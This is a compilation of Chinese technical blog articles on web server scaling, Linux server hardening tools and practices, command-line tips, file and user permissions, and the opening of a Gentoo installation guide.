服务器的静态资源不仅占用服务器的存储空间，同时还占用服务器的IO，当同一个静态资源，例如图片、视频、css文件、js文件、其他格式的文件等等被反复请求时，服务器需要反复请求读文件。机械硬盘的转速最高有一个极限，当静态文件的请求将动态文件的请求挤出队列的时候，网站程序的反应会变得很慢。因此，当有必要的时候，将静态资源与程序脚本进行分离，并使用CDN来对静态资源进行节点缓存，不仅可以降低对服务器资源的消耗，也可以加快响应速度。



上图中出现了三台服务器，其中nginx服务器，不仅承担了静态资源服务器，而且还承担端口代理的角色。因为用户访问网站的入口只有一个，所以不可能同一次访问到达两台服务器；而且，也需要有一个程序来识别，用户的这个请求到底是要请求静态资源，还是请求程序。这种扩展方式被广泛用在中小型项目中，用以减轻服务器的巨大压力。

4. 均衡负载：多台服务器执行程序，将大量请求分摊给多台服务器

无论如何，一台服务器的进程是有限的，我们不可能无限制的把一台服务器的CUP加到64个，把内存加到1T，则是不可能的。因此，出现了均衡负载技术，通过将多台服务器组合成一组可以完成相同任务的服务器，当用户发出请求时，根据每台服务器的运行状态，让那些相对而言有富余的服务器来执行这个用户的请求。



上图中，出现了多台Apache服务器，这些服务器的配置不一定相同，但是他们的环境一定是一样，每一台上面都存放着相同的程序代码，能够保证同一个请求，无论到达哪一台服务器进行执行，都能得到相同的结果。而上图中多出了一个“控制器”，一般而言，有两种方式来进行控制，一种是DNS，也就是域名解析的时候，根据访问压力情况，解析到不同的服务器上面去；另一种则是域名统一解析到一台固定的服务器，由这台服务器来决定这个请求应该由哪一台服务器来进行处理。

虽然从上图中，我们能够简单的理解这种扩展模式，但是实际生产中，会遇到非常严重的问题。例如，session怎么来处理？服务器的读写怎么来解决同步性问题？数据库的写入和更新顺序怎么来解决等等。由于程序被不同的服务器执行，这就导致不同服务器之间执行附带行为结果产生不同，例如日志，同一个用户的日志可能散落在不同的服务器上，怎么样确保在进行日志调用的时候，能够将这些日志统一处理呢？这里面都还有很多问题去解决。

5. 主从数据库

从上面的图形进化来看，数据库服务器的均衡负载也是必要的。但是和程序执行服务器的均衡负载不同，不是在每台服务器上面丢相同的一套程序就可以满足数据库问题的。和程序的均衡负载有着极大的不同，由于数据库是随时随地都要用的，它的读写是即时的，不可能像程序一样，在每一台服务器上放上相同的代码就可以解决问题，如果处理不好，很有可能导致用户请求的时候，一会儿有数据，一会儿没数据。主从数据库的概念很早就有，简单的理解就是将数据库的读写操作分离，读操作由从数据库完成，写操作由主数据库完成，写完之后，立即将数据同步到从数据库。



为了解决数据库的均衡负载问题，主从数据库技术也进行了多次升级，但是就目前而言，仍然没有从理论上达到完美解决这种问题。由于查询动作没有造成文件的变化，因此实际上和程序代码的均衡负载一样，从数据库也可以由多个服务器来协同完成，只不过在执行写入更新操作之后，主数据库要同步到所有的从数据库。



因此，在这种情况下，采用云数据库，则是一种比较明智的选择。

为了解决这种复杂的服务器横向扩展问题，新浪云SAE、阿里云ACE、百度云BAE，以及未来腾讯云也要推出的云引擎，这些云计算服务以统一的策略，为我们提供了架构问题，也就是说，在这些云引擎中去运行我们的程序，就不用再过多的考虑均衡负载问题。云引擎的架构远不止这种均衡负载这么简单，如果你去深入研究新浪云的架构，就会为这种牛X的设计惊叹。云引擎+云数据库+CDN，就像一把利剑为我们的项目解决了服务器的基础问题，这也是这个时代云计算服务商的伟大之处。

我的个人博客 www.tangshuang.net 偶尔写一些学习中的感想和经验，希望有相同兴趣的朋友到博客来交流。
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前言


利用这个伟大平台的强大功能和灵活性，掌控你自己的Linux服务器是学习新事物的良好机会。不过Linux服务器管理员必须对任何可联网的机器采取同样的谨慎措施，以确保它的安全。


归类在"Linux security"的主题各种各样，至于怎样恰当的安全级别才看起来像Linux服务器有很多不同的意见。


你必须自己决定什么样的安全保护措施是必要的。在你做之前需要知道风险，并在实用性和安全性之间做出权衡，合理得做出决定。


这篇文章旨在提供一些Linux服务器环境下最常见的安全措施供你参考。这不是一份详尽的清单，也不包括推荐的配置，但是提供了更加全面的资源的链接，并讨论为什么每个组件是系统的重要组成部分。


使用防火墙阻止连接


建议所有用户都采取的最简单的一个措施是：配置并启用防火墙。防火墙扮演了网络流量和你的机器之间屏障的角色。它们管理着服务器上流量的进和出，并决定是否允许它传递信息。


防火墙根据用户配置的一系列规则检查有关的流量来实现上述功能。通常，一台服务器只为正当合理的服务开启特定的几个端口。剩下的端口全都关闭，而且需要被防火墙保护，它会拒绝所有发往这些端口的流量。

这允许你删除你不期望的数据甚至在某些情况下能条件化使用真实服务。合理的防火墙规则能提供稳健的基础网络安全。


可用的防火墙解决方案有很多。这里我们仅仅讨论其中一些。


UFW


UFW是简单的防火墙（uncomplicated firewall）的简称。它的目标是无需其他防火墙那么复杂的语法就能提供良好的保护。


UFW和绝大多数Linux防火墙一样，其实是包含在Linux内核的netfilter 防火墙的前端控制。这对还不熟悉Linux防火墙人来说是个简易的选择，通常来说还是个不错的选择。


IPTables


也许最著名的Linux防火墙解决方案就是iptables了。IPTables是用来管理包含在Linux内核中的netfilter防火墙的另一个组成部分。它已经存在了很长时间并经历了严格的安全审计，以确保其安全性。有一个版本的iptables称为ip6tables，它用于创建对IPv6的约束。


在你管理Linux服务器时也许会碰到iptables配置。一开始掌握语法可能会有点困难，但它是一个令人难以置信，非常强大的工具，可以为它配置非常灵活的规则集。


IP6Tables


正如上面提到的那样，iptables用于操作包含IPv4的规则表。如果你在服务器上启动了IPv6，则需要同时关注IPv6，也就是ip6tables。


包含在Linux内核中的netfilter防火墙使IPv4和IPv6流量完全分离。他们保存在不同的表。决定一个数据包的最终命运的规则是由正在使用的协议版本确定的。


这对于服务器的管理意味着当IPv6启用时，必须要维持一个规则集。ip6tables 命令与iptables共享相同的语法，所以在执行IPv6表中一样的约束集时通常是直接转发。但是你必须确保流量定向的是IPv6地址，这才能正常工作


NFTables


虽然iptables一直在Linux环境下防火墙的标准，但是一个新的名为nftables的防火墙最近也添加到了Linux内核。这和iptables和同一个团队，NFTables旨在最终取代iptables。


nftables防火墙试图实现较它的前身IPTables更加可读的语法，并实现在同一个工具里支持IPv4和IPv6。虽然现在大多数Linux内核还不够新无法实现NFTables，但它很快就会非常普遍，你应该尽量熟悉它的使用。


使用SSH安全得远程登录


当管理一台不在本地的服务器时，就需要远程登录了。SSH意思是secure shell，通过这个协议Linux系统能安全得完成远程登录。SSH提供端到端加密，能够将不安全的流量通过安全连接，X-forwarding（网络连接的图形化界面），等等。基本上，如果你不能访问本地或者带外管理，SSH是你与服务器交互的主要方式。


虽然协议本身是非常安全的并且已经做了大量的研究和代码检查，但是你的配置选择会帮助或者阻碍服务的安全性。我们将在下面讨论：


密码 vs SSH-Key 登录


SSH有非常灵活的身份认证方式，允许你使用不同的方法登录。最常见的两种方式是密码认证和SSH-Key认证。


密码认证可能是大部分用户自然选择的方式，安全性上不及SSH-Key认证。密码登录允许潜在的入侵者不断猜测密码，直到密码被发现。这就是所谓的暴力破解并且入侵者可以使用现代工具很容易得实现自动化。


另一方面，SSH-Key是通过产生一个安全密钥对来操作的。一个公钥作为测试类型被创建，以识别一个对象。它可以毫无问题得公开分享。但除了识别用户之外它不能用于其他任何事情，当和私钥完成匹配之后，它才允许用户登录。私钥应当秘密得保存，并且通过其关联的公钥的测试。


主要来说你可以向服务器添加SSH key，然后SSH key会允许你使用匹配的私钥进行登录。这些key非常复杂，使用暴力来破解是不切实际的。此外，还可以选择添加长口令，为你的key增加安全性。


点击此处了解更多关于如何使用SSH，点击这个链接来学习如何在服务器上创建SSH密钥。


实现fail2ban拉黑恶意IP地址


实现类似fail2ban的解决方案一般能提升SSH配置的安全性。fail2ban是一项监控日志文件的服务，以此确定远程系统是否是一个合法用户。如果不是合法用户，则暂时禁止相关IP地址的流量。


设置合理的fail2ban策略可以让你标志出那些不断尝试登录但是失败的计算机，然后添加防火墙规则，在一段时间内阻止他们的流量。这是一种阻止暴力破解的简单方法，因为被禁止之后他们不得不停下来休息一会儿。


你可以在这里学习如何在Ubuntu上实现fail2ban策略。这里还有类似的在Debian和CentOS上的指导。


实现入侵检测系统检测非法入侵


需要记住的一条重要的考虑因素是制定检测一项检测非法使用的策略。你可能有到位的预防措施，但你也需要知道他们是否失败。


入侵检测系统，也被称为IDS，在状态良好时会记录配置和文件详细信息。然后对这些记录的状态进行比较，以找出文件和设置是否被修改。


入侵检测系统有很多，我们将在下文了解：


Tripwire


Tripwire是最知名的IDS实现之一。Tripwire编制了一份系统文件的数据库，并且用一组键保护其配置文件和二进制文件。在详细定义了选择和异常的配置之后，Tripwire会通知其监视的文件发生的任何改变。

Tripwire的策略模型是非常灵活的，允许你为你的环境塑造其属性。你可以通过cron作业配置tripwire运行，甚至还能实现异常事件邮件通知。


这里你将了解更多关于怎样实现tripwire


Aide


另一个IDS选择是Aide，和tripwire类似，Aide通过构建一个数据库并比较当前系统状态和数据库中存储的已知的好的状态。当差异出现时，它会通知管理员这问题。


对于相同的问题Aide和tripwire都提供了类似的解决方案。看看文档两种解决方案都尝试一下，然后找出你更喜欢的。


点击这里，查看有关如何使用Aide的指导。


Psad


与上述两种工具相比，psad工具所关注的系统部分与之不同。psad关注的是防火墙日志以检测恶意活动，而不是检测系统文件。


譬如，如果用户试图用端口扫描来探测漏洞，psad能检测到这种活动并动态得改变防火墙规则并锁定用户。这个工具能注册不同的威胁级别并且根据问题的严重性进行响应。psad也能通过电子邮件通知管理员。


了解更多关于如何使用psad


Bro


另一个基于网络的IDS是Bro。实际上Bro是一个网络检测框架，它能被用作网络IDS，也能用于其他目的，如收集使用情况，调查问题或者检测模式。


Bro系统分为两层。第一层监测活动和生成它所考虑的事件。第二层通过一个策略框架运行着生成的事件，这个框架决定着应该怎样做。如果有任何与流量相关的，它会生成警报并执行系统命令，记录下事件或者采取其他措施。


点击这里，弄清楚怎样使用Bro


RKHunter


RKHunter为了检测rootkit和已知的恶意软件，执行了和基于host的入侵检测系统类似的原则，而不是技术上的入侵系统。


虽然在Linux世界里，病毒是罕见的，但是周围的恶意软件和rootkit会危及系统或者允许成功的入侵者继续为所欲为。RKHunter下载了已知漏洞的列表然后检查系统。如果在常见应用上检测到不安全的设置，RKHunter也会提醒你。


看看这篇文章了解更多关于在Ubuntu上使用RKHunter。


常规的安全建议


虽然上述工具和配置可以帮助你保护系统的一部分，但是良好的安全性并不是仅仅靠实现工具，所以忘记它吧。良好的安全性体现在一定的思维定势上，是一个尽职调查，审查和参与安全的过程。


下面有一些通用的规则，可以帮助你在正确的方向上确保系统的安全。


注意更新和有规律得更新


系统上安装的几乎所有类型的软件都可能随时发现软件漏洞。通常发行版的维护者们得跟上最新的安全补丁并且将这些更新推送到他们的仓库。


然而如果你不下载或者安装这些更新，仓库里可用的安全更新对于你的服务器来说没什么好处。虽然很多服务器得益于稳定版本的软件，但是安全更新不应该被推迟，而应该看作重要更新。


大部分发行版提供安全性邮件列表和独立的只能下载和安装补丁的安全仓库。


通过非官方渠道下载软件时要小心


大部分用户会坚持从发行版官方仓库下载可用软件,并且大部分发行版提供已签名的软件包。一般而言用户可以信任发行版的维护者们，并将关注点放在非官方渠道的软件安全性上。


也许你会选择信任来自发行版的软件包，或者官网网站上的软件，但要注意，除非你是自己审核每个软件，不然都会涉及风险。大部分用户觉得这是一个可接受的风险水平。


另一方面，从随机仓库和PPA获取软件，并且维护他们的人你无法识别，这也是一个巨大安全风险。这没有一套规则可参考，并且大部分非官方软件源是完全安全的。但只要你信任另一方，你就在经历风险。


了解你的服务并约束它们


虽然运行服务器主要是提供可以访问的服务，但是仍需要限制运行在上面的你使用或者需要的服务。要考虑每一种功能的服务都有可能成为威胁的载体，所以在不影响核心功能的前提下你要尽可能多得消除威胁媒介。


如果你运行的是无头（没有显示器连接的）服务器，并且不运行任何图形（非web）程序，这意味着你应该禁止和卸载X display服务。在其他领域也可以采取类似的措施。没有打印机？那就禁止"IP"服务。不需要Windows网络共享？那就禁止"samba"服务。


可以发现各种方法通过各种方式运行在你的计算机上。在"create a list of requirements"章节下的这篇文章涵盖了怎样检测已经启动的服务


不要使用FTP并用SFTP代替


对于很多用户来说这可能很难，但是FTP是一种本质上不安全的协议。所有身份认证方式以纯文本方式发送，这意味着任何人只要监测服务器与你本地计算机之间的连接，就能看到登录的详细信息。


只有在很少数的情况下，FTP可能是较好的措施。如果你运行着匿名，公开，只读的下载镜像站，FTP是不错的选择。另一种情况是你信任你的网络是安全的，只是简单得在两台开启了NAT防火墙的计算机之间传输文件，那FTP也是蛮好的选择。


在几乎所有的其他情况下，你应该使用一种更加安全的替代方案。在SSH套件中有一个替代协议称为SFTP，表面上它们操作方式类似，但是SFTP是基于与SSH协议一样的安全性。


这可以让你以同样的方式进行信息传递，就和使用传统的FTP一样，但是这没有风险。大部分现在FTP客户端也可以与SFTP通信。


要了解更多怎样使用SFTP安全得传输文件，看看这个指南。


实现合理的用户安全策略


这里有一些你可以采取的措施，当管理用户时，可以更好得保护系统。


其中一项建议是禁止root登录。因为root用户存在于任何POSIX-like 系统，并且是一个全能的用户。这往往成为很多许多攻击者的目标。通常来说在配置完sudo访问之后，禁止root登录是一个好主意。或者你使用su命令。很多人对这个建议不以为然，你需要检查看这是否合适你。


SSH服务中禁用远程root登录是可能的，或者禁用本地登录。你可以/etc/securetty 文件中限制。也可以设置root用户的shell为non-shell来禁止root shell的访问，并设置PAM规则限制root登录。RedHat有一篇不错的文章，关于如何禁止root登录。


另一个好的策略是为每个用户和服务创建独一无二的账户，并且给以它们能够完成它们工作的最小权限。锁定它们不需要访问的所有东西，并剥夺他们的一切特权。


这是条很重要的策略，因为当某个用户或者服务被破坏，这不会导致多米诺效应，多米诺效应指的是入侵者会因此获得被破坏的用户或服务的访问权限甚至是系统的。划分的系统可以帮助你隔离问题，就像当船身出现缺口时。舱壁和水密门系统可以防止船舶沉没。


和我们上面讨论过的服务策略类似，应该小心得禁用不再需要的用户账户。当你卸载软件或者用户不再访问系统，这就可能发生。


注意权限设置


文件权限对于很多用户来说是挫折的巨大来源。找到权限间的平衡，既允许你做你想做的事情，又不会产生伤害，这是一件很困难的事情，这需要在每个场景中认真关注与思考。


设置健全的umask策略（定义新文件和目录默认权限的属性）在创建缺省值时会有很大帮助。在这可以学习关于权限是如何工作和如何调整umask值。


通常，在设置某事物为world-writeable，尤其是它能够以某种方式访问互联网时，需要三思而后行。这可能产生极端的后果。此外，你不应该设置权限的SGID或者SUID位，除非你百分百了解你在做什么。另外，检查文件的所有者和组。


具体用法不同，文件权限设置会相差很大。但是你应该总是尝试看啊可能，是否有一种方式可以给以更小的权限。这是得到错误的最简单的方式，并且在互联网上在这方面有很多糟糕的建议流传。


如何保护你使用的特定软件


虽然本指南并不能包含每种类型的服务或者应用的安全细节，但在网上有很多可用的教程和指南。你应该阅读每个项目的安全建议，并在你的系统上实现。


此外，诸如web服务器或者数据库管理系统这样流行的服务器软件，拥有整个网站和专门的安全数据库。一般情况下，你应该仔细阅读并在上线前确保每个服务。


你可以查看我们的安全章节，获取更多关于你正在使用的软件具体的建议。


结论


现在你应该对可以在Linux服务器上实现的常用安全实践有较好的理解。虽然我们已经很努力得提高了很多领域的重视，但在一天结束之际，你必须自己做出决定。当你管理一台服务器时，你必须得为这台服务器的安全负责。


这不是你一开始就能快速配置并完成的事情。这是一个过程，不断得练习审计系统，实施解决方案，评估日志和警报，重新评估需求等等的过程。保护系统，你需要保持警惕，随时评估和检测你实施的解决方案的结果。


By Justin Ellingwood


 [译] Linux 用户的 3 个命令行小技巧

作者：陌辞寒

来源： [译] Linux 用户的 3 个命令行小技巧



                    
Linux世界充满了乐趣，我们越深入进去，就会发现越多有趣的事物。我们会努力给你提供一些小技巧，让你和其他人有所不同，下面就是我们准备的3个小技巧。


1. 如何在不使用Cron的情况调度Linux下的任务


在Linux下，调度一个任务/命令称之为Cron。当我们需要调度一个任务时，我们会使用Cron，但你知道我们在不使用Cron的情况也可以调度一个在将来时间运行的任务吗？你可以按照如下建议操作……


每5秒钟运行一个命令（date）然后将结果写入到一个文件（data.txt）。为了实现这一点，我们可以直接在命令提示符运行如下单行脚本。


$ while true; do date >> date.txt ; sleep 5 ; done &



上述脚本的解释：



	
while true ：让脚本进入一个条件总为真的循环中，也就是制造一个死循环，将里边的命令一遍遍地重复运行。

	
do ：do是while语句中的关键字，它之后的命令会被执行，在它后边可以放置一个或一系列命令。

	
date >> date.txt ：运行date命令，并将其输出写入到data.txt文件中。注意我们使用>>，而不是>。

	
>> ：对文件（date.txt）进行追加写的操作，这样每次运行命令后，输出内容会被追加到文件中。如果使用>的话，则会一遍遍地覆盖之前的内容。

	
sleep 5 ：让脚本处于5秒睡眠状态，然后再运行之后的命令。注意这里的时间单位只能用秒。也就是说如果你想让命令每6分钟运行一次，你应该使用sleep 360。

	
done ：while循环语句块结束的标记。

	
& ：将整个进程放到后台运行。



类似地，我们可以这样运行任何脚本。下边的例子是每100秒运行一个名为script_name.sh的脚本。


另外值得一提的是上面提到的脚本文件必须处于当前目录中，否则需要使用完整路径（/home/$USER/…/script_name.sh）。实现如上功能的单行脚本如下：


$ while true; do /bin/sh script_name.sh ; sleep 100 ; done &



总结：上述的单行脚本并不是Cron的替代品，因为Cron工具支持众多选项，更加灵活，可定制性也更高。然而如果我们想运行某些测试，比如I/O评测，上述的单行脚本也管用。


还可以参考：Linux 下 11 个定时调度任务例子


2. 如何不使用clear命令清空终端的内容


你如何清空终端的内容？你可能会认为这是一个傻问题。好吧，大家都清楚可以使用clear命令。如果养成使用ctrl + l快捷键的习惯，我们会节省大量时间。


Ctrl + l快捷键的效果和clear命令一样。所以下一次你就可以使用ctrl + l来清空终端的内容了。


总结：因为ctrl + l是一个快捷键，我们不可以在脚本中使用。所以如果我们需要在脚本中清空屏幕内容，还是需要使用clear命令。但我能想到的所有其他情况，ctrl + l都更加有效。


3. 在其它目录运行一个命令，然后自动返回当前工作目录


这是一个很多人可能不知道的令人吃惊的技巧。你可能想在其它目录运行任何一个命令，然后再回到当前目录。要实现这样的目的，你只需要将命令放在一个圆括号里。


我们来看一个例子：


avi@deb:~$ (cd /home/avi/Downloads/)



示例输出：


 avi@deb:~



它首先会cd到Downloads目录，然后又回到了之前的家目录。也许你认为里边的命令根本没有执行，或者是出了某种错误，因为从命令提示符看不出任何变化。让我们简单修改一下这个命令：


avi@deb:~$ (cd /home/avi/Downloads/ && ls -l)



示例输出：


-rw-r-----  1 avi  avi     54272 May  3 18:37 text1.txt
-rw-r-----  1 avi  avi     54272 May  3 18:37 text2.txt
-rw-r-----  1 avi  avi     54272 May  3 18:37 text3.txt
avi@deb:~$



在上述命令中，它首先进入Downloads目录，然后列出文件内容，最后又回到了当前目录。并且它证明了命令成功执行了。你可以在括号中包含任何命令，执行完都会顺利返回到当前目录。


这就是全部内容了，如果你知道任何类似的Linux技巧，你可以在文章下面的评论框中分享给我们，不要忘记将本文和朋友分享 :)




via: http://www.tecmint.com/useful-linux-hacks-commands/


作者：Avishek Kumar

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出


 Linux 文件和文件夹的操作权限

作者：aikin

来源： Linux 文件和文件夹的操作权限



                    
由于 linux 是多用户操作系统，所以基于安全的考虑，需要具备保障个人隐私和系统安全的机制。因此在使用 linux 系统的时候，经常会出现权限的问题(比如: 删除文件、安装软件、运行应用等等)，期初遇到这些问题的时候，大部分都使用sudo或者是sudo chmod 777 file(后面会讲解这个命令)来解决的。虽然这种方式可以解决问题，但是这样是不安全的，特别是在服务器上操作的时候，因为不是所有的文件和文件夹都可以被其它用户操作的，不是所有的用户都有root权限的，不是所有的应用都可以用root用户启动的。那么我们要如何正确的处理这些权限问题呢？那就让我们来学习一下 linux 权限相关的知识。

用户的权限

要确定一个用户对某个文件或文件夹是否具有相应的操作权限，先要明确该用户与文件或文件夹之间的关系。在 linux 系统中，定义了如下三种关系：


	文件或文件夹的所有者 (owner)：文件或文件夹的拥有者，开始创建文件或文件夹时为创建者。


	组 (group)：文件或文件夹所属的组, 开始创建文件或文件夹时为创建者的所属的组。


	其他人 (other)：除了文件或文件夹的所有者和文件或文件夹所属的组的其他成员，剩下的 linux 的用户。




因为在 linux 下的文件和文件夹都有读取(r)、写入(w)、执行(x)的操作，所以上面描述的每种关系的用户分别都可以赋予这些操作权限。操作权限介绍:



	权限
	简写
	对普通文件的作用
	对文件夹的作用





	读取
	r
	查看文件内容
	列出文件夹中的文件(ls)



	写入
	w
	修改文件内容
	在文件夹中删除、添加或重命名文件(夹)



	执行
	x
	文件可以作为程序执行
	cd 到文件夹





文件或文件夹和用户的三种关系的基础操作权限

在 linux 使用ls -la命令可以查看文件夹内文件的属性，下面是我电脑上某个文件夹下文件的属性:

$ ls -la
drwxr-xr-x 14 root root     4096 Apr  3 18:47 .
drwxr-xr-x 23 root root     4096 Mar  2 05:48 ..
drwxr-xr-x  2 root root     4096 Apr  3 07:44 backups
drwxr-xr-x 17 root root     4096 Jul 22  2014 cache
drwxr-xr-x  2 root root     4096 Mar  2 04:26 docker-registry
lrwxrwxrwx  1 root root        9 Feb 25 13:31 lock -> /run/lock
drwxrwxr-x 15 root syslog   4096 Apr  3 07:44 log
-rw-r--r--  1 root root        0 Apr  3 18:47 test


	上面的有九列数据，第一列数据表示和文件或文件夹相应关系用户的操作权限，第二列表示文件夹内文件和文件夹的总数量(包括文件夹本身)，第三列表示文件夹或文件的拥有者，第四列表示文件或文件夹的所属的组，第五列表示文件或文件夹的大小，第六、七、八列表示文件或文件夹最后被修改的时间，第九列文件或文件夹的名字。


	接下主要分析第一列的数据，在上面的信息中倒数第二行drwxrwxr-x，从左到右第一个字母表示文件系统对象的类别，这里d表示为目录(文件夹)。其它文件系统对象:




-(常规文件)、d(目录)、l(符号链接)、c(字符特殊设备)、b(模块特殊设备)、p(FIFO)、s(套接字)



	drwxrwxr-x除出去第一个字母d后的rwxrwxr-x表示的是三种用户关系对文件或文件夹的操作权限。从左到右每三个一组，依次表示所有者权限、组权限、其他用户权限。每组的顺序均为rwx，如果用户有相应的操作权限就用相应的字母表示，如果不具有相应的操作权限就用-表示。比如: rwxrwxr-x表示文件或文件夹的所有者具有rwx(可读，可写，可执行)的操作权限，组用户也具有rwx(可读，可写，可执行)的权限，其他用户具有r-x(可读，可执行，没有可读)的操作权限。




特殊权限SUID、SGID、Sticky


在 linux 系统中还有三种与用户身份无关的三个文件权限属性。即SUID、SGID和Sticky。

	SUID(Set User ID, 4):




该属性只对有执行权限的文件有效，对目录无效。执行具有SUID权限的程序时，引发的进程的所有者是程序文件的所有者，而不是启动程序的用户（除非二者是同一个人）。比如，如果一个程序的所有者是root且具有SUID属性，一个普通用户执行此程序时，如同root执行此程序一样。（请注意该属性对Shell脚本程序无效）该属性为一些特殊程序（如lpr）的启动带来了方便。但有时也带来了安全隐患：比如一个具有SUID属性的程序如果在执行时运行了一个shell，那么用户可以籍此得到系统的最高权限。SUID可用s表示，如:



$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 47032 Feb 16  2014 /usr/bin/passwd

	SGID(Set Group ID, 4):




对于可执行文件，SGID与SUID类似，引发的进程的所有组是程序文件所属的组。对于目录，SGID属性会使目录中新建文件的所属组与该目录相同。SGID也可以用s表示，如:



$ ls -l /var
drwxrwsr-x  2 root staff    4096 Apr 10  2014 local
drwxrwxr-x 15 root syslog   4096 Apr  4 19:57 log

	Sticky, 1:




仅对目录有效。带sticky属性的目录下的文件或目录可以被其拥有者删除或改名。常利用sticky属性创建这样的目录：组用户可以在此目录中创建新文件、修改文件内容，但只有文件所有者才能对自己的文件进行删除或改名。如系统中的/tmp文件夹。在属性字符串中，通常用t表示。



$ ls -l /
drwxrwxrwt   8 root root  4096 Apr  4 23:57 tmp

修改文件或文件夹对应用户的操作权限

在 linux 系统中，可以使用chmod命令来修改文件或文件夹对应用户的操作权限，chmod命令也有两种方式修改，一种是使用代表相应操作权限的字母简写表示，另一种是使用代表相应操作权限的数字表示。

	使用简写字母




chmod语法参数格式: ugoa[rwxst]
第一个字符是u、g、 o 或 a 中的一个（分别表示用户、组、其他人和所有人）。还可以选择添加（+）、删除（-）或设置（=）各种不同权限。



	
	给文件或文件夹try的拥有者加可执行权限




$ sudo chmod u+x try

	给文件或文件夹try的拥有者和组成员加可读可写权限




$ sudo chmod ug+rw try

	给文件或文件夹try的拥有者和组成员除去可写权限




$ sudo chmod ug-r try



	使用数字表示(八进制数)




为了简化表述，也可使用八进制数来表示权限。即用一个四位八进制数来表示，其中最高位表示特殊权限，随后的三位依次是所有者权限、组权限和其他人权限。每一个八进制位的权限数值是文件具有的相应权限所对应的数值之后，如：



0755=rwxr-xr-x=0(4+2+1)(4+0+1)(4+0+1)

数值权限的算法，比如rw-其实就是110的二进制，也就是0*2^0 + 1*2^1 + 1*2^2 = 6。有相应的权限就用1表示，没有相应的权限就用0表示。不过这种算法特殊权限不包含在内。




	
给文件或文件夹try的拥有者加rwx权限，组用户加r-x权限，其他用户r--权限

$ sudo chmod 0754 try



	
chmod命令也可以递归的修改文件夹下所有的文件的权限，如给 try 文件夹下得所有文件加上 0755 权限

$ sudo chmod -R 0755 try



	
批量只修改文件或文件夹权限

$ find -type d|xargs chmod 745     // 只修改文件夹权限
$ find -type f|xargs chmod 644     // 只修改文件权限
// 或者
$ chmod 745 `find 路径 -type d`     // 只修改文件夹权限
$ chmod 644 `find 路径 -type f`    // 只修改文件权限



	相应权限的数值:





	rwx(7)、rw-(6)、r-x(5)、r--(4)、--wx(3)、-w-(2)、--x(1)、---(0)


	suid: 符号s(4)


	sgid: 符号s(2)


	sticky: 符号t(1)






修改文件或文件夹的拥有者和所属的组

使用chown可以修改文件或文件夹的拥有者和所属的组。


	
将文件或文件夹try的拥有者修改成aikin，所属的组修改成adm

$ sudo chown aikin:adm try



	
和chmod一样，-R参数可以起到递归的作用

$ sudo chown -R aikin:adm try





创建组和用户


	
组相关操作：

	创建一个try组




$ sudo groupadd  try

	修改try组的名字为rename-try




$ sudo groupadd -n rename-try try

	修改try组的名字为rename-try




$ sudo groupadd -n rename-try try

	删除try2组




$ sudo groupdel  try2

	查看所有组




$ sudo cat /etc/group



	
用户相关操作：

	创建用户test









在 linux 系统上虽然可以使用useradd或adduser来创建用户，但是这两个命令是有区别的。


	使用useradd时，如果后面不添加任何参数选项，例如：$sudo useradd test创建出来的用户将是默认“三无”用户：一无Home Directory，二无密码，三无系统Shell。


	使用adduser时，创建用户的过程更像是一种人机对话，系统会提示你输入各种信息，然后会根据这些信息帮你创建新用户。
下面创建用户使用的是adduser命令:






$ sudo adduser test
Adding user `test' ...
Adding new group `test' (1002) ...
Adding new user `test' (1001) with group `test' ...
Creating home directory `/home/test' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for test
Enter the new value, or press ENTER for the default
  Full Name []: test
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y


	
修改用户

$ sudo passwd test    // 修改用户密码
$ sudo usermod -d /home/test -G try2 test   // 将test用户的登录目录改成/home/test，并加入 try 组，注意这里是大 G。
$ sudo gpasswd -a test try     // 将用户 test 加入到 try2 组。
$ sudo gpasswd -d test try2    // 将用户 test 从 try 组中移除



	
删除用户test

$ sudo userdel test



	
查看所有用户

$ cut -d : -f 1 /etc/passwd
// 或者
$ cat /etc/passwd |awk -F \: '{print $1}'





　　了解 linux 用户操作权限，安全就掌握在手中。

参考


	学习 Linux，101: 管理文件权限和所有权


	文件权限


	linux下添加，删除，修改，查看用户和用户组




原文链接




 Linux 挖坑不埋指南——乙篇

作者：garfileo

来源： Linux 挖坑不埋指南——乙篇



                    
『甲篇』中以指点江山的姿态勾画了 Linux 世界的基本图景，并建议定居于 Gentoo。本文以 64 位版本（AMD64）的 Gentoo 的安装与使用为例，尝试引领你进入 Gentoo。

自举

要安装 Gentoo，即使你对 Linux 一无所知，也是可以按照 Gentoo Handbook 的说明，成功的安装 Gentoo。但是，安装 Gentoo 的过程中需要手动输入许多 Linux 命令。如果没有 Linux 的基础知识，也许无法理解与欣赏 Gentoo 的安装过程。

安装一个 Linux 的前提是要懂得 Linux，这似乎存在矛盾，因为要弄懂 Linux 的前提是应该拥有一个 Linux 操作环境。这虽然很矛盾，但这就是现实。破解这一矛盾的唯一办法就是自举（BootStrap）。

C 语言编译器是自举的一个很好的示例。第一个 C 语言编译器是用汇编语言编写的。第二个 C 语言编译器可以用 C 语言来编写但是需要由第一个 C 语言编译器来生成，这样就完成了 C 语言编译器的自举。

要安装 Gentoo，前提也是需要你的计算机事先运行着一个 Gentoo 环境，然后在这个 Gentoo 环境中安装 Gentoo。所以 Gentoo 开发者为 Gentoo 的安装提供了一个近乎最小化的自举系统，以 CD 镜象文件的形式发布，称为『Minimal installation CD』，其下载与刻录方法请参考 Gentoo AMD64 安装手册的『介质』一节。

制作 Gentoo LiveUSB

如果你对 Linux 并不是很了解，那么下载 Minimal installation CD 之后，不需要急于阅读 Gentoo Handbook 并进行 Gentoo 的安装。

既然  Minimal installation CD 是用于 Gentoo 自举的，那么它本身就是一个可用的 Linux 基本环境。也就是说，学习 Linux，其实是没必要安装一个 Linux 的。

要将  Minimal installation CD 作为学习 Linux 的实践环境，最好是将镜象文件刻录到 U 盘上，这样可以得到所谓的 Gentoo LiveUSB。现代的计算机，差不多都支持 U 盘启动，因此 Gentoo LiveUSB 也是一个很不错的随身系统。制作与使用 Gentoo LiveUSB 的方法见：https://wiki.gentoo.org/wiki/LiveUSB/Guide。

如果担心在 Gentoo LiveUSB 中的学习过程中因为一些误操作而对你的计算机中既有的系统产生毁灭性打击，也可以在 VirtualBox 之类的虚拟机上运行 Gentoo LiveUSB 或者直接运行 Minimal installation CD，具体用法请参考本文附录部分。

Linux 基础知识

